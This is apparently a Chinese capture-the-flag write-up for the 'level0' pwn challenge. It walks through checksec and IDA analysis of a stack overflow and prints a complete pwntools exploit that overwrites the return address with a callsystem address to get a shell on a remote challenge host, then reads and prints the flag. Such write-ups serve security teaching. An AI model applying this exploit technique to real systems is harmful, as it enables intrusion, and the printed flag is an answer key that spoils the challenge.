攻防世界 Pwn level0

下载本地文件拉到Kali
1. 检查文件
file level0
checksec level0

没有开任何保护
2. 拉进IDA看一下



在这里看到了 ”bin/sh"
可以在这里获取shell权限
目标明确
看到了vulnerable_function

很明显是栈溢出的操作
看一下栈空间

buf上需要覆盖 80-0+8 大小的数据
r 上弹 callsystem的地址即可
3. 开始写exp
##coding=utf8
from pwn import *
## 构造与程序交互的对象
content=0
if content==1:
p = process('./level0')
else:
p = remote("111.200.241.244",61229)
payload = b'a' * (0x80 + 8)
payload = payload + p64(0x400596)
p.recvuntil("Hello, World\n")
p.sendline(payload)
p.interactive()
4. 运行一下写好的exp
./exp_level0.py

ls
ls遍历一下获取的目录
看到有一个flag文件
cat一下这个文件
cat flag
得到了我们想要的flag
cyberpeace{d9b70c7495ebc38b58293049dbad47c6}
本文详细介绍了如何利用栈溢出漏洞在Pwnlevel0环境中获取shell,通过IDA分析、构造payload和使用exploit进行实战,最终成功获取flag。涉及关键步骤包括文件检查、IDA查看、栈空间分析和exploit编写。
1572

被折叠的 条评论
为什么被折叠?



